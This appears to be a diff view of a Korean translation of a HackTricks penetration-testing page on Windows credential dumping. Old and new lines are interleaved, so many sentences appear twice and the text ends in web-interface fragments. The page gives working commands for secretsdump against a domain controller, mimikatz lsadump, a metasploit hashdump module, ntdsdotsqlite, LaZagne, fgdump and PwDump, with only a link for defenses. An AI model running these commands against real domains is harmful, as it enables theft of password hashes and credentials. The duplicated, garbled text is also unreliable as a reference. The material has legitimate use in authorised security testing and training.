당신은 또한 유효한 도메인 관리자 사용자를 사용하여 **자동으로 추출**할 수 있습니다:
|
||||
```
|
||||
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
|
||||
```
|
||||
**큰 NTDS.dit 파일**의 경우 [gosecretsdump](https://github.com/c-sto/gosecretsdump)를 사용하여 추출하는 것이 좋습니다.
|
||||
|
||||
**큰 NTDS.dit 파일**의 경우 [gosecretsdump](https://github.com/c-sto/gosecretsdump)를 사용하여 추출하는 것이 권장됩니다.
|
||||
마지막으로, **metasploit 모듈**: _post/windows/gather/credentials/domain\_hashdump_ 또는 **mimikatz** `lsadump::lsa /inject`를 사용할 수도 있습니다.
|
||||
|
||||
마지막으로, **metasploit 모듈**인 _post/windows/gather/credentials/domain\_hashdump_ 또는 **mimikatz** `lsadump::lsa /inject`을 사용할 수도 있습니다.
|
||||
|
||||
### **NTDS.dit에서 도메인 객체를 SQLite 데이터베이스로 추출하기**
|
||||
|
||||
NTDS 객체는 [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite)를 사용하여 SQLite 데이터베이스로 추출할 수 있습니다. NTDS.dit 파일을 이미 검색한 경우, 비밀 정보뿐만 아니라 전체 객체와 속성도 추출하여 추가 정보 추출이 가능합니다.
|
||||
### **NTDS.dit에서 SQLite 데이터베이스로 도메인 객체 추출**
|
||||
|
||||
NTDS 객체는 [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite)를 사용하여 SQLite 데이터베이스로 추출할 수 있습니다. 비밀 정보뿐만 아니라 전체 객체와 속성도 추출되어, 원시 NTDS.dit 파일이 이미 검색된 경우 추가 정보 추출이 가능합니다.
|
||||
```
|
||||
ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive
|
||||
```
|
||||
|
||||
`SYSTEM` 하이브는 선택 사항이지만 비밀 해독을 허용합니다 (NT 및 LM 해시, 추가 자격 증명 (평문 암호, Kerberos 또는 신뢰 키, NT 및 LM 암호 기록)). 다음과 같은 정보가 추출됩니다: 해시와 함께 사용자 및 컴퓨터 계정, UAC 플래그, 마지막 로그온 및 암호 변경 시간, 계정 설명, 이름, UPN, SPN, 그룹 및 재귀적 멤버십, 조직 단위 트리 및 멤버십, 신뢰할 수 있는 도메인과 신뢰 유형, 방향 및 속성...
|
||||
`SYSTEM` hive는 선택 사항이지만 비밀 해독을 허용합니다 (NT & LM 해시, 평문 비밀번호와 같은 보충 자격 증명, kerberos 또는 신뢰 키, NT & LM 비밀번호 기록). 다른 정보와 함께 다음 데이터가 추출됩니다: 사용자 및 기계 계정과 그 해시, UAC 플래그, 마지막 로그인 및 비밀번호 변경에 대한 타임스탬프, 계정 설명, 이름, UPN, SPN, 그룹 및 재귀적 멤버십, 조직 단위 트리 및 멤버십, 신뢰 유형, 방향 및 속성이 있는 신뢰 도메인...
|
||||
|
||||
## Lazagne
|
||||
|
||||
[여기](https://github.com/AlessandroZ/LaZagne/releases)에서 바이너리를 다운로드하세요. 이 바이너리를 사용하여 여러 소프트웨어에서 자격 증명을 추출할 수 있습니다.
|
||||
|
||||
[여기](https://github.com/AlessandroZ/LaZagne/releases)에서 바이너리를 다운로드하십시오. 이 바이너리를 사용하여 여러 소프트웨어에서 자격 증명을 추출할 수 있습니다.
|
||||
```
|
||||
lazagne.exe all
|
||||
```
|
||||
|
||||
## SAM 및 LSASS에서 자격 증명을 추출하기 위한 다른 도구
|
||||
## SAM 및 LSASS에서 자격 증명을 추출하기 위한 기타 도구
|
||||
|
||||
### Windows credentials Editor (WCE)
|
||||
|
||||
이 도구는 메모리에서 자격 증명을 추출하는 데 사용될 수 있습니다. 다음에서 다운로드할 수 있습니다: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||
이 도구는 메모리에서 자격 증명을 추출하는 데 사용할 수 있습니다. 다운로드 링크: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/)
|
||||
|
||||
### fgdump
|
||||
|
||||
SAM 파일에서 자격 증명을 추출합니다.
|
||||
|
||||
```
|
||||
You can find this binary inside Kali, just do: locate fgdump.exe
|
||||
fgdump.exe
|
||||
```
|
||||
|
||||
### PwDump
|
||||
|
||||
SAM 파일에서 자격 증명을 추출합니다.
|
||||
|
||||
SAM 파일에서 자격 증명 추출
|
||||
```
|
||||
You can find this binary inside Kali, just do: locate pwdump.exe
|
||||
PwDump.exe -o outpwdump -x 127.0.0.1
|
||||
type outpwdump
|
||||
```
|
||||
|
||||
### PwDump7
|
||||
|
||||
[여기](http://www.tarasco.org/security/pwdump\_7)에서 다운로드하고 실행만 하면 비밀번호가 추출됩니다.
|
||||
[ http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7)에서 다운로드하고 **실행**하면 비밀번호가 추출됩니다.
|
||||
|
||||
## 방어
|
||||
## Defenses
|
||||
|
||||
[여기](credentials-protections.md)에서 일부 자격 증명 보호에 대해 알아보세요.
|
||||
[**여기에서 자격 증명 보호에 대해 알아보세요.**](credentials-protections.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
HackTricks를 지원하는 다른 방법들:
|
||||
|
||||
* 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* 여러분의 해킹 기술을 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 공유하세요.
|
||||
* **회사를 HackTricks에 광고**하거나 **HackTricks를 PDF로 다운로드**하려면 [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com) 받기
|
||||
* 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family) 발견하기
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**telegram 그룹**](https://t.me/peass)에 가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue